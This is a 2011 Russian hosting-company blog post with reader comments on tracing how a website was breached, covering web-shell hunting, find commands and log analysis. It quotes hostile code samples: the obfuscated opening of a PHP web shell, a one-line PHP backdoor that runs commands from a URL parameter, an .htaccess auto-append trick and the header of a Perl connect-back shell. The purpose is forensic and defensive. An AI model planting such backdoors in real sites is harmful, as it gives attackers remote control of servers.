Sprinthost
Компания
28,74
рейтинг
19 августа 2011 в 18:21

Разное → Через какую дыру взломали сайт?

imageЕсли сайт взломан, мало удалить с него вирус и загруженный PHP Shell. Нужно еще найти причину, по которой произошел взлом, иначе через день-два на сайте снова будет под бодрую музыку развеваться красивый турецкий иностранный флаг. Чаще всего причина — украденный пароль от FTP, устаревшая версия CMS или плагина к ней, но как найти, что именно было использовано для проникновения?

Имея некоторый опыт в этой сфере (в среднем наша техподдержка занимается поиском причины взлома сайта раз в неделю), мы систематизировали накопившуюся информацию.

Итак, зачем вообще взламывают сайты? И что делать, если сайт взломан, как найти причину и защититься от последующих атак?

Зачем взламывают сайты


Процесс взлома сайтов сейчас поставлен на поток. Ботнеты используют известные эксплойты к распространенным CMS, взламывают сайты, устанавливают на них свои скрипты и дальше могут использовать взломанный сайт в любых целях. Вирусы крадут пароли от FTP, подключаются к сайтам и заражают их вирусами, которые в свою очередь заражают посетителей сайтов, после чего круг повторяется. Чаще всего после взлома сайта происходит следующее:
  1. Дефейс сайта. Это можно назвать, скорее, озорством, дальше дефейса дело часто не идет.
  2. Заражение страниц сайта вирусом. Вирусы могут как просто добавляться в конец каждой страницы сайта, так и быть довольно изощренными. Например, нам встречался вирус, заражавший конкретный класс Joomla, отвечающий за вывод данных в браузер.
  3. Поиск других сайтов в соседних папках и их заражение.
  4. Рассылка спама.
  5. Загрузка PHP Shell и выполнение произвольных действий — например, попытка взлома сервера с помощью существующих эксплойтов к операционным системам.
  6. Установка ботов, которые подключаются к серверу IRC и могут выполнять произвольные команды «хозяина» — например, производить DDoS других сайтов.
То есть, действия взломщиков направлены на дальнейшее распространение ботов, создание сети (ботнета) и дальнейшее ее использование в своих целях.

Алгоритм поиска причины взлома


Алгоритм сам по себе очень простой:
  1. Найти следы взлома.
  2. Определить точное время взлома.
  3. По логам найти, как именно поломали сайт.
Сложность составляет реализация пунктов 1 и 3. На них мы остановимся подробнее.

Как искать следы взлома


При взломе практически всегда остаются следы: файлы, которые злоумышленник использовал для работы, например, PHP Shell. Классический способ взлома CMS:
  1. Через какую-либо уязвимость загрузить PHP Shell (или получить через уязвимость доступ администратора CMS и загрузить PHP Shell через менеджер файлов).
  2. Через PHP Shell сделать все остальное.
Поэтому в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:
  • wzxp.php
  • gwd.php
  • a10881d.php.2046
Результат работы эксплойта, запущенного для взлома сервера, может выглядеть так:
  • ./w.sh
  • ./env
  • ./env.c
  • ./program.c
  • ./program.o
  • ./w00t.so.1.0
  • /tmp/sh
  • /tmp/sh2
Эти файлы могут быть расположены как в корне сайта, так и в папке tmp/ или cache/. Поискать их стоит также в папках вроде images/, upload/, user_files/ и т. д. — часто через уязвимости в редакторах или библиотеках фотографий скрипты загружаются именно в то место, куда обычно загружаются фотографии или хранятся временные файлы.

Помимо файлов сайта стоит также проверить общий /tmp сервера — в нем могут находиться временные файлы, использованные для взлома или для запуска ботов.

Обязательно загляните в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому не поленитесь посмотреть все директории вашего аккаунта.

Иными словами, необходимо искать все необычное/непонятное и заглядывать внутрь всех подозрительных файлов. PHP Shell может выглядеть, например, так:

<?php #v2.3 //Version
$auth_pass = ""; //75b43eac8d215582f6bcab4532eb854e
$color = "#00FF66"; //Colour
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5
GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/
// ... много кода в base64

Ключевые моменты, на которые стоит обращать внимание в скриптах PHP:
  • Co0lHaZZkeR'ский стиль написания текста.
  • Наличие слов Exploit и Shell.
  • Наличие большого количества кода в base64.
  • Наличие eval() или функции preg_replace() с ключом /e в первом аргументе.
В конце концов, можно просто зайти браузером и посмотреть, что делает этот скрипт.

Файлы можно искать и вручную, но быстрее, если взлом произошел недавно, воспользоваться командой find:

# find ./public_html -mtime -3d
# find ./public_html -mtime -10h

(синтаксис find указан для FreeBSD). Эти команды покажут файлы, изменявшиеся за последние три дня и последние 10 часов, соответственно.

Если ничего не помогает, можно просто поискать все файлы, содержащие закодированное в base64 содержимое, например, так:

# find ./ -name '*.php' | xargs grep -E '[0-9a-zA-Z/]{80}'

Эта команда найдет все скрипты PHP, в которых есть строки, похожие на base64 длиной не менее 80 символов.

Определение времени взлома


Когда файлы найдены, определить время взлома очень просто — достаточно посмотреть время изменения самого раннего файла.

Если подозрительных файлов не найдено, но сайт заражен вирусом, посмотрите дату изменения файлов index.php, index.html или тех, в которых обнаружите вирус. Скорее всего в этом случае сайт взломали, украв пароль от FTP.

Поиск журналов взлома сайта


Теперь самое главное — чтобы эти журналы были в наличии!

Если на сайте только произведен дефейс или добавлен вирус ко всем файлам index.html, скорее всего, сайт взломали через кражу пароля FTP (или, гораздо реже, SSH). Посмотрите журналы подключения по FTP и SSH во время взлома — присутствие в нем неизвестных IP-адресов или большого количества разных IP-адресов, осуществивших успешное подключение к сайту, означает, что пароль украден.

В этом случае достаточно проверить компьютеры, с которых осуществлялся доступ к сайту, на вирусы, сменить пароли FTP и никогда больше не сохранять пароли в клиентах FTP.

Если же на сайте присутствуют PHP Shell или вредоносные скрипты (например, для рассылки спама), скорее всего, сайт взломали через уязвимость в CMS или каком-либо её плагине. В этом случае потребуется проанализировать логи веб-сервера.

Чтобы лучше понять, что необходимо искать, рассмотрим, как происходит взлом CMS.
  1. Злоумышленник определяет, что на сайте установлены CMS или ее плагины, либо другое ПО (устаревшая Joomla, phpMyAdmin, редактор WYSIWYG, галерея фотографий и т. д.), потенциально подверженные уязвимости.
  2. Он начинает перебирать известные эксплойты к этому ПО. Цель — каким-либо образом загрузить свой файл на сайт.
  3. Когда уязвимость найдена, взломщик загружает PHP Shell.
  4. Подключившись к PHP Shell, взломщик получает полный доступ к сайту и дальше может использовать его в любых целях.
Важный момент — загрузка PHP Shell. В предыдущей части мы определили, в какое время на сайт были загружены вредоносные скрипты. Теперь достаточно найти обращения к ним в журнале веб-сервера. Таким образом мы сможем определить IP-адрес злоумышленника. Это можно сделать простым grep'ом в access.log по имени файла PHP Shell'а.

Если удалось определить IP-адрес

Определив IP-адрес взломщика, мы производим поиск этого IP-адреса по журналу веб-сервера и видим все действия, которые он совершал. Где-то близко к моменту обращения к PHP Shell будет успешное использование уязвимости сайта.

Если определить IP-адрес не удалось

Описанный выше способ работает, если известно конкретное имя файла, через которое производилась работа с сайтом после взлома. Однако это имя не всегда известно. В этом случае придется поискать момент взлома немного подольше, но найти его все равно можно.

Большинству, подавляющему большинству взломов свойственны запросы HTTP POST, так как через них происходит загрузка файлов на взламываемый сайт. Через POST злоумышленник может также пытаться взломать форму ввода пароля или просто зайти в раздел администрирования с украденным паролем.

Если известно время взлома сайта (а мы его уже знаем), необходимо поискать в журнале веб-сервера все запросы POST, находящиеся близко ко времени взлома. Здесь нет конкретных советов — выглядеть они могут совершенно по-разному, но выглядеть они будут в любом случае необычно. Например, это могут быть запросы, содержащие '../../../../' или длинные запросы, содержащие имена файлов или запросы SQL.

Если ничего не удалось найти


Такое тоже может быть. В этом случае можно порекомендовать только чистую переустановку CMS и ее расширений и последующий импорт данных. Обязательно убедитесь, что версия CMS и ее расширений — последняя.

И ее расширений! Чаще всего взломы производятся не через ядро системы управления сайтом, а через какой-нибудь устаревший плагин, автор которого давно забросил его разработку.

Ну и, разумеется, смените все пароли, которые имеют какое-либо отношение к сайту.

Хозяйке на заметку

  • В процессе поиска уязвимостей на сайте, если нет возможности заблокировать к нему доступ посетителей, заблокируйте хотя бы запросы POST. Это предотвратит возможность применения большинства стандартных эксплойтов.
  • Не используйте устаревшие версии CMS и плагинов к ним. Следите за обновлениями!
  • После определения причины взлома не ограничивайтесь удалением найденных скриптов — добавленные злоумышленником точки проникновения могут быть хорошо спрятаны. Лучшая схема восстановления сайта после взлома — это закрыть к нему доступ посетителей, найти причину взлома, восстановить сайт из резервной копии (этим мы исключаем любые изменения сайта, которые мог произвести злоумышленник), обновить CMS, убедившись, что уязвимый компонент также обновился, после чего снова открыть доступ к сайту.
Автор: @cronfy
Sprinthost
рейтинг 28,74
Компания прекратила активность на сайте

Комментарии (42)

  • +13
    • 0
      в тему. :)
    • 0
      И на старуху бывает проруха ;).
    • +4
      а музыка-то какая успокаивающая
    • –1
      Лучше было бы назвать статью:

      Не пользуйтесь шаровыми CMS

      Не обновил вовремя, п.

      Я по своей статистике смотрю: каждый день боты ходят, ищут принадлежность к шаровым CMS и JS редакторам.
  • 0
    Ключевые моменты, на которые стоит обращать внимание в скриптах PHP
    Первое и самое важное, на что стоит обращать внимание это инклюды других скриптов — ищем функции include/include_once/require/require_once во всех файлах.
    • +3
      И в любой более-менее масштабной CMS Вы найдёте 100500 скриптов, которые 'инклюдят' 100500 скриптов.
      • 0
        А из этих скриптов мы делаем выборку по времени изменения.
        • 0
          touch -t YYYYMMDDhhmm?
          • +1
            Если у взломщиков хватит мозгов, то вы не найдёте следов вообще, пока все файлы не переберёте. А иногда встречаются вещи типа

            <?php
            ob_start();
            include('./exploit.jpg');
            ob_end_clean();
            ?>


            где exploit.jpg это обычная на вид JPEG-картинка… с подарком в хвосте.
            • 0
              У меня как-то тоже взломали и подключались с ob_start, только без изысков в виде jpg, но вот беда, подсасываемый скрипт был с багом, он вообще умирал внутри ob_start и все страницы сайта «показывали балет». Хотя технология взлома была любопытная, я её описывал в тут личном блоге.
            • +1
              Ага, а еще в .htaccess прописывают

              php_value auto_append_file /путь/к/вирусу

              Много способов добавления вируса бывает, веселых и разных.
  • +1
    PHPBB, хранение темпейлетов в базе + опция allow php in templates
    Где-нибудь одна неприметная строчка...
    <?php echo @`$_GET['c']`; ?>

    и ищем шелл :]
    P.S. Это конечно частный (а может и частый) случай.
    Про статью — раскрывает многие типичные ошибки оставления следов.
    Навеяло
  • 0
    У моего знакомого ломали джумлу — там был конфиг заменен, на выводимую страницу. А реальный лежал рядышком.
  • –5
    Не пенайте ногами, но на днях была мысль. Не знаю возможно ли это, но прошу выслушать, и если и критиковать, расписать суть проблемы.
    Что если бы у апача или у нджинкса была фича, которая бы не выполняла скрипты таким вот описанием:
    -Co0lHaZZkeR'ский стиль написания текста.
    -Наличие слов Exploit и Shell.
    -Наличие большого количества кода в base64.
    -Наличие eval() или функции preg_replace() с ключом /e в первом аргументе.
    Кому не нравится мог бы и отключить это. Скажем сделать это модулем, пускай даже, не включенным по дефолту.
    • 0
      Тогда я посоветую еще более «в лоб» решение — использовать Zend Encoder… Но это способ защиты из разряда «низкую кучность стрельбы будем компенсировать увеличением диаметра снаряда»
    • 0
      Просто не могу понять, (не жалуюсь на карму, мне честно все равно, я при своем мнении) написал лишь один.
    • 0
      Подобная фильтрация — это не задача веб-сервера, это задача антивируса, и не стоит превращать Апач в бессмысленный и беспощадный комбайн. Наверное, можно как-то анализировать код на лету на предмет Co0lHaZZkeR'ского стиля или высокого процента base64, но подобная деятельность приведет к явному снижению производительности. Отключение определенных функций должно решаться через конфиг интерпретатора PHP, веб-сервер понятия не имеет и не может иметь, что, в каком скриптовом языке и при каких условиях может быть признаком взлома.

      Короче, запускайте по cron'у антивирус и дайте веб-серверу делать его работу.
      • 0
        Спасибо, от дурень сразу и не подумал про самое главное, производительность.
    • 0
      Вы почти правильно все написали, только это совсем не задача вебсервера.
      Существуют такие средства, как IDS (en/ru), вот они и занимаются подобными вещами.
  • +1
    В процессе поиска уязвимостей на сайте, если нет возможности заблокировать к нему доступ посетителей, заблокируйте хотя бы запросы POST
    Нормально, вообще…

    Думаю, если и выбирать между двумя из этих зол — то лучше ни одного… а если выбрать что-то надо, то хотя бы первый вариант. С пометкой «Чип и дейл идут на помощь, возвращайтесь… когда-нибудь». Иначе несдобровать репутации сайта.
    • +2
      Довольно много сайтов, которые я видел, созданы для предоставления информации, а не для интерактивной работы. Часто это какой-нибудь сайт компании на Joomla. Авторизация, например, там есть, но посетителями она не используется, и блокировка POST ничего не изменит. Ну, может, голосования какое-то время не будут работать, несколько заказов пропустится, но это лучше, чем если посетитель сайта словит вирус, и гораздо лучше сообщения хрома «Сайт может нанести вред вашему компьютеру». А запросы POST тоже можно с красивой заглушкой отбивать.
  • +1
    Обычно на хостинге, на котором одновременно много пользователей, веб сервер запускается для каждого пользователя с его правами. Если же веб сервер работает под своим отдельным пользователем (например www-data) — то помогает поиск в web директории всех файлов, например, с расширением php, созданных этим пользователем.
  • +6
    Вообще методика на основе find ./ -name '*.php' -mmin -1 |… достаточно эффективна, если код сайта статичен. У меня на одном хосте был скрипт всего несколько строк, который кроном дергался раз в минуту и проверял не изменялись ли пхп файлы (любые изменения, ибо подразумевалось, что априори пхп код менятся не может).
    При любом изменении или появлении любого нового php файла на сервере сразу был стук письмом на яндексовское мыло, которое настроено в инфинитуме на моментальное уведомление.
    Да, это паранойя, но зато очень эффективно, особенно когда отслеживаемых серверов на душу админа достаточно много.
    В этом деле никогда не знаешь, с какой стороны ждать врага.
    • 0
      А собственно в чём паранойя? В «раз в минуту»?
      • +1
        В том что отслеживаются ВСЕ изменения во ВСЕХ пхп файлах. Раз в минуту это для примера, можно конечно сразу отстукивать, но это лишняя нагрузка на сервер. За минуту врядли взломщик успеет совершить свое грязное дело. Да, и у меня все измененные файлы скриптом заменялись на правильные, а залитые извне тут же удалялись.
        Вообще делал наспех после реального взлома, потом как-то руки не дошли изменить, так и прижилось.
        • 0
          По-моему вполне нормально. Хотя, а как они отслеживаются, пресчётом каких-то хэшей?
          • +1
            Нет, это стандартная linux команда
            find ./ -name '*.php' -mmin -1 означает найти все файлы с расширением .php, которые были созданы/изменены за последнюю минуту. Ну а дальше через поток приводим все в читабельный вид и отправляем на мыло/смс. Если хоть какой файл изменится, в течении 1 минуты нам будет об этом известно.
            Восстановление файлов можно делать стандартным git-ом приводя изменения к последнему коммиту.
            Т.е. даже если нас не будет на месте, злоумышленник будет долго ломать голову над тем, почему его залитые шеллы исчезают, а измененные файлы приводятся к изначальному виду.
  • 0
    Уважаемые сотрудники спринтхост, мне сейчас реально смешно, честно. Вы написали такую статью, а сами… Год 2010, уже честно говоря и забыл какой был месяц, у вас порутан целый сервер!!! Проифреймлены сотни сайтов. А вы даже не осмелились признать это, просто тупо откатили бэкап на целый час и думали что никто не заметит, как посещаемый сайт вдруг выпал по счётчикам и статистикам на час, а так же провал в логах… Стыдно вам должно быть, стыдно! :)
    • –1
      Имея некоторый опыт в этой сфере (в среднем наша техподдержка занимается поиском причины взлома сайта раз в неделю), мы систематизировали накопившуюся информацию.
      Раз в неделю говорите, а случайно у вас там не забиндены на серверах бэкдуры? :)
  • –5
    Если честно то статья не о чём, да и советы ну прям полностью домохозяйкам.
    Время создания\изменения файла меняется легко при помощи команды touch либо в большинстве шеллов изначально это делается через интерфейс самого шелла, это если искать и сравнивать по дате создания, так же хочу заметить что не всегда шелл имеет расширение пхп, возможно и расширение в jpg/gif/png с изменённым .htaccess.

    * Поэтому в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:
    wzxp.php
    gwd.php
    a10881d.php.2046


    Полнейший бред, как правило их пытаются называть максимально похоже для маскировки на похожие файлы в директории в которой находится шелл.

    Полнейший бред по ключевым поискам, что такое:Co0lHaZZkeR'ский стиль написания текста.?

    Так же меня ввел в ступор данный обзац:Поиск журналов взлома сайта — вот логики не какой

    Сама статья больше бредовая не раскрывающая проблему а наиболее сильно усугубляющая её в случае взлома и закрепления на целевой системе. Полностью раскритиковывать не буду (так как сама статья полнейший бред и имеет место если взлом произвёл полный нуб), а просто приведу несколько ссылок для самостоятельного изучения:

    RDot:
    Второе пришествие: бэкдор в БД (+ бонусный фишинг-код)
    Играем в прятки c админом
    Шпаргалка

    Snipper:
    Magic Include Shell

    Raz0r:
    Бэкдор в триггере

    Маленькая просьба, если кто то может, пришлите инвайт на: l4ar[@]mail.ua, хочется участвовать полноценно в обсуждениях статей, а полноценного аккуанта нет
    • +3
      Мне кажется, в статье говорится не о каком-либо заказном «супер-пупер крутом» взломе. Говорится о том, что поставлено на поток. О огромном количество Джумл, взламываемых друг за дружкой тупой последовательностью действий (через тот же редактор tinymce). Никто не заботится сокрытием своих следов, ибо знают, что никто не будет заморачиваться искать кого-то… Проще восстановиться сайт из резервной копии и жить дальше спокойненько (в идеале-сменить пароли, обновить версии т.д.).

      К слову, один из последних взломов, которые я видел, был произведён вообще замечательным способом — тупо в гугле ввели запрос по имени файла. Нашли сайт, на котором файл есть. Обратились к файлу — а он уже сам по себе является файловым менеджером. Ну и всё, делай, что хочешь… Тут, конечно, владелец сайта сам виноват, но всё таки…

      В общем, я к чему всё это — практика показывает, что всё, что описано в статье — встречается действительно часто. И статья действительно может помочь.

      Но, конечно, не гуру-взломщикам, кул-хацкерам и мега-админам…
      • –3
        Извините, но вам это только кажется, возможно, повторюсь что возможно она была бы (полезна) на каком либо домашнем блоге для индексации и просто заполнения его информацией, но как серьёзная статья она бесполезна и будет вводить людей столкнувшихся с данной проблемой в заблуждение направляя по ложному следу уверенности что они сделали всё правильно и дело тут даже не в мега знаниях, а в действительно ( rdot.org/forum/showthread.php?t=677 ):

        Для распиздяев:
        *если есть основания полагать, что была скомпрометирована операционная система — подключить диски к чистой системе (LiveCD) и прогнать чистилками (rkhunter/chkrootkit)
        *прогнать веб-директории грепом на предмет подозрительных сигнатур ( eval(base64.., system(..., passthru(… )
        *обновить всё до последних версий
        *сменить все пароли

        У вас интересное словосочетание: Проще восстановиться сайт из резервной копии и жить дальше спокойненько (в идеале-сменить пароли, обновить версии т.д.).
        Вообще то это не идеал а первая необходимость, да и сейчас сайты больше взламывают для создания доров, что уже под собой имеет место более или менее адекватной маскировки шелла для того чтоб не потерять доступ, времена полного нубства прошли.
        И ещё как мне кажется статья была написана давно, так как кусок шелла взят ещё с старой версии WSO шела от oRb.
        Сама тема статьи интересная и хотелось бы увидеть более подробную статью с рассмотрением действительно правильных шагов для поиска причин взлома, поиска веб шеллов, протроянивание ssh, но не как не такой уровень.
    • –2
      Ну отлично, минуснули, впрочем это не важно, интересно за что, не более.
      *надеюсь не за просьбу инвайта, так как думаю что данный ак скоро удалят, а участвовать в дискуссиях хочется, а всё же по поводу основного текста комментария*. Если я прав то хотелось бы доводы, и обсуждения моментов, а не просто обиженные плевки минусы в спину.
  • 0
    Критика \ рецензия статьи: Через какую дыру взломали сайт? habrahabr.ru/company/sprinthost/blog/125839/

    1.Несоответствие заголовка поста с содержанием.

    Не раскрыта методика поиска способа проникновения на веб сервер \сайт который был взломан, какие стоило изучать логи, поиск сигнатур и запросов через которые предположительно был произведён взлом, полезные скрипты\ по для анализа логов.

    2.Разбираем тело статьи, абзацы:

    2.1.Зачем взламывают сайты

    Сайты не заражают вирусами в прямом смысле этого сова а либо вешают связку (что бывает редко), либо инфреймят для того чтоб перекинуть трафик на другую связку которая уже и грузит вредоносный код.
    Боты не устанавливают на взломанный сайт\сервер (вернее правильно будет не боты, а командный\админ центр) в виду того что в таком случае мы считай подарили свою бот сеть хозяину сайта, либо спалили лоадер для антивирусных программ, для ботов регестрируют произвольные домены у антиабузных хостеров, регионах.
    90% что взломанный сайт будет использоваться как трастовая площадка для доров.

    2.2. Алгоритм поиска причины взлома
    Пока всё нормально в содержании, но это только в содержании.

    2.3.Как искать следы взлома
    в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:

    Данный поиск приведут к положительному результату только в случае если взлом был проведён полностью нубом, так как это как прописная истина шелл маскируется под окружающую среду, а именно называется либо схожим именем, либо именем, ведущим в заблуждение админа который он посчитает за системый, так же меняется время создания файла на то же какое у большинства в папке где находится шелл. При этом стоит понимать что не всегда шелл имеет расширение php, расширение может быть произвольным, как и шелл может храниться в папке cgi.

    Результат работы эксплойта, запущенного для взлома сервера, может выглядеть так:

    Резкое перепрыгивание через огромную пропасть информации, результатом какого эксплоита, почему был запущен эксплоит и для чего это делалось? (может стоит описать что такое сплоит, для чего он был запущен и на какие обычно службы он рассчитан).

    — часто через уязвимости в редакторах или библиотеках фотографий скрипты загружаются именно в то место

    Часто если собрались порутать сервер то заливают и работают уже не через web оболочку, а через поднятый back connect либо биндят порт, веб оболочка используется редко в виду малой информативности, так же заливаются в /tmp

    Обязательно загляните в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому не поленитесь посмотреть все директории вашего аккаунта.

    Совет правильный НО, но стоило раскрыть примерные команды, а так же добавить что может быть не только перенаправление на сайт, но и команда для обработки произвольного расширения файла как php скрипта, что даёт нам в каталоге с изменённым .htaccess шел с расширением изображения.

    Ключевые моменты, на которые стоит обращать внимание в скриптах PHP:

    Что такое: Co0lHaZZkeR'ский стиль написания текста? — Может хватит играть в шпионов, и мега хакерофф, хочу заметить что в шелле совсем не будет этого стиля, хотя хотелось бы понять что это за стиль такой.

    Наличие слов Exploit и Shell. – специально сейчас посмотрел исходник шелла от оRb и там слово exploit встречается всего 2 раза и то как ссылка на exploit-db.com для поиска сплоита для ядра, опять таки мы её можем убрать руками. Shell встречается чаще, но это опять в неупакованном виде, в упакованном этого слова нет.

    В конце концов, можно просто зайти браузером и посмотреть, что делает этот скрипт. – есть множество файлов как самой cms так и среди шеллов которые внешне не выдают не какой реакции без задания аргумента, да и как это представляется возможным переход по всем файлам cms?

    Файлы можно искать и вручную, но быстрее, если взлом произошел недавно, воспользоваться командой find: # find ./public_html -mtime -3d # find ./public_html -mtime -10h – повторюсь время создания шелла меняется простой командой, так что в некоторых случаях это совсем время в пустую, хотя исключать данный способ не следует.

    2.4.Определение времени взлома

    Когда файлы найдены, определить время взлома очень просто — достаточно посмотреть время изменения самого раннего файла.
    Если подозрительных файлов не найдено, но сайт заражен вирусом, посмотрите дату изменения файлов index.php, index.html или тех, в которых обнаружите вирус. Скорее всего в этом случае сайт взломали, украв пароль от FTP. — уже написано выше, при этом логики между изменением и ftp нет не какой, ведь даже в случае взлома через фтп происходят какие либо действия на сайте\сервере, ведь он их угнал не для того чтоб любоваться на них.

    2.5.Поиск журналов взлома сайта

    Я думаю тут и без моих комментариев понятна абсолютная нелогичность в тексте, хотя нет вот немного: Если на сайте только произведен дефейс или добавлен вирус ко всем файлам index.html, скорее всего, сайт взломали через кражу пароля FTP (или, гораздо реже, SSH). – нет разницы как был произведён способ взлома, проникновение через бажный скрипт либо через фтп для проведения дефейса, эту строчку можно выставить в цитаты ламоризмов.

    Если же на сайте присутствуют PHP Shell или вредоносные скрипты (например, для рассылки спама), скорее всего, сайт взломали через уязвимость в CMS или каком-либо её плагине. В этом случае потребуется проанализировать логи веб-сервера. – ну так же, не имеет значение как был взломан сайт для того чтоб закрепится на сайте при помощи шелла либо рассылки спама.

    2.6. Если удалось определить IP-адрес
    2.7.Если определить IP-адрес не удалось

    Оба без слов, ах да по поводу пост запросов, хочу вас заверить что для хакера предпочтительнее работать пост запросами в виду наименьшего паления в логах сервера, а для взлома предпочтительнее гет запросы в виду их более лёгкой реализации.

    2.8. Если ничего не удалось найти
    В принципе всё правильно, но как то сковано и нераскрыто, плюс это путь быдло исправления.

    2.9.Хозяйке на заметку
    У меня нет слов, так эта тема должна быть раскрыта более полно, начиная от выбираемых скриптов и заканчивая настройками скриптов, прав директорий и тд.

    Итоги: А итоги я думаю каждый подведёт сам. Но если те действия что описаны в статье действительно действия тех поддержки то (рука_лицо).
    Ответ M03G: habrahabr.ru/company/sprinthost/blog/125839/#comment_4178058.
    Тогда может стоит называть статью своими именами, и писать не столь кричащий заголовок, а назвать, советы домохозяйкам для того чтоб крепче спать, ну не является то что написано выше полезными советами, это всё равно что к вам проникли в дом через замочную скважину подобрав отмычку, а вы вместо того чтоб сменить замок, уходя замыкаете дверь всё тем же замком, просто изменив накладную панель, либо заклеев замочную скважину скотчём!

    Ах да полезные ссылки можно посмотреть в моём комментарии: habrahabr.ru/company/sprinthost/blog/125839/#comment_4177627

    *можете минусовать показывая далее свою некомпетентность вместо того чтоб вести диалог, ведь вполне возможно что я не прав, но свой вывод о хостинге я сделал, скрин странички тоже, так на память и друзьям\знакомым, что же друзьям я вас не когда не порекомендую*

    • 0
      Ответ ниже: habrahabr.ru/company/sprinthost/blog/125839/#comment_4181737

      Кстати, было бы интересно узнать, какие Вы рекомендуете хостинги друзьям? Какую помощь при взломе сайтов они оказывают?
      • 0
        Сергей, ну вы же сами понимаете что даже заголовок не совсем соответствует телу статьи, да и там много перескоков, хотя то что иже уже лучше.
        Если акцент на домохозяйку, то почему бы не расписать в каких логах искать, по поводу шелла, вы же понимаете что этот комментарий часто убирают, а почему от orb был приведён, ведь у вас он в примере был?.
        Я не спорю о конструктивизме, но может и не стоит и мой комментарий так в штыки принимать, да возможно я переборщил с словосочетанием бред, но верхний более конструктивный, по моему субъективному мнению статья правда зависла. она и не для домохозяек и не для спецов, для домохозяек нехватает большей конкретики и прямых указаний, не более. Для профессионалов я думаю вы сами понимаете, я повторюсь то что ниже уже более лучше, я бы вам 100500 плюсов поставил за такую статью, будь она более профессиональна либо более проста.
        По поводу скриптов, смысл мне его писать когда вы меня тут в минус вогнали вместо дискуссии, хотя одна из подсказок (если интересна) на ачате в периуд когда зарождался РОА Димыч писал очень удобный скрипт для анализа.

        Хотя я вам могу предложить совместно написать статью ( можете её выложить у себя, на баллы мне всё равно, мне важно читать и иногда комментировать) на данную тематику, скажем версия 2, где мы либо в виде диалога, либо по удобной схеме более полно раскроем данный вид расследования компьютерных преступлений, начиная от причин ( рассмотрим в 3 ракурсах: заказ, поисковик, а просто так) и заканчивая мерами предосторожности, профилактики.
        • 0
          Безумно извиняюсь!!! за то что именем ошибся.
          Олег, вот за это мне правда стыдно, Простите меня пожалуйста! (посыпаю голову пеплом)
        • +1
          Вы знаете, я вряд ли смогу что-либо добавить к тому, что написал раньше. Статья, как ни странно это звучит, ориентирована на тех, кому она будет полезна. В ней описана быстрая схема поиска уязвимости, через которую был взломан сайт, более того — эта схема работает в большом количестве случаев. Этих действий достаточно для того, чтобы с большой вероятностью найти причину взлома. Последующие действия и профилактика зависят, как я уже писал раньше, в непосредственной заинтересованности администратора сайта. В статье раскрывается именно та тема, которая указана в заголовке, и не нужно искать в ней признаки курса по информационной безопасности — их нет.

          Я добавил в статью советы по восстановлению сайта после взлома, которые описывал ранее.

          За предложение написать совместную статью спасибо, отвечу в личку.
  • +1
    В комментарии повыше MO3G ответил по сути и конструктивно. Лично мне сложно ответить на Ваш комментарий, потому что после прочтения у меня не сложилось понимания, что именно Вы советуете делать вместо или дополнительно к тому, что описано в статье, но я все же попробую.

    Когда сайт взломан, необходимо выяснить, через что это произошло. После определения причины сайт восстанавливается из резервной копии, чтобы исключить все то, что описано в приведенных Вами ссылках: замаскированные шеллы, добавления в базу данных, измененные исходники сайта. После восстановления из резервной копии компоненты сайта, через которые произошел взлом (а желательно, и все остальные), обновляются до последних версий, не содержащих уязвимостей. После этого можно снова открывать сайт для посетителей.

    Если сайт продолжают взламывать, и найти причину не удается, скорее всего его взломали гораздо раньше, и на нем уже есть скрытый доступ. В этом случае необходимо установить чистую CMS и импортировать в нее данные.

    Какие-либо дополнительные действия: изучение специальной литературы, игры в прятки с хакером, сбор коллекции обнаруженных шеллов/эксплойтов/скрытого кода зависит от непосредственной заинтересованности в этой теме администратора, работающего с сайтом, и выходит далеко за рамки статьи.

    В комментарии Вы упомянули полезные скрипты и ПО для анализа логов — приведите, пожалуйста, ссылки на них, они будут хорошим дополнением к статье.

    Случаи же, когда на сайте остается шелл и другие временные файлы, использованные для взлома, встречаются постоянно. Чтобы не быть голословным, приведу пример анализа взлома, зафиксированного вчера на одном из сайтов:

    $ find ./ -mtime -4h
    ./images
    ./images/bc
    ./images/env
    ./images/bc.pl
    ./images/a22389d.php.27994
    ./images/env.c
    ./images/program.c
    ./images/program.o
    ./images/w00t.so.1.0


    Жирным выделены PHP Shell и back connect на Perl.

    PHP Shell, замаскированный под GIF, из файла a22389d.php.27994:

    GIF89af^M
    <?php # Web Shell by oRb^M
    $auth_pass = "";^M
    $color = "#df5";^M
    $default_action = 'FilesMan';^M
    $default_use_ajax = true;^M
    $default_charset = 'Windows-1251';^M
    preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9Vcwmjf


    Обратите внимание, что в скрипте явно написано «Web Shell».

    Backconnect на Perl в файле bc.pl, был запущен демоном:

    #!/usr/bin/perl
    use IO::Socket;
    #IRAN HACKERS SABOTAGE Connect Back Shell
    #code by:LorD
    #We Are :LorD-C0d3r-NT
    #Email:LorD@ihsteam.com
    #
    #lord@SlackwareLinux:/home/programing$ perl dc.pl
    #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--


    Явно написано Connect Back Shell, стиль написания и оформления текста… ммм… вызывает подозрения :)

    И эксплойт для FreeBSD в файле program.c:

    #!/bin/sh
    echo ** FreeBSD local r00t zeroday
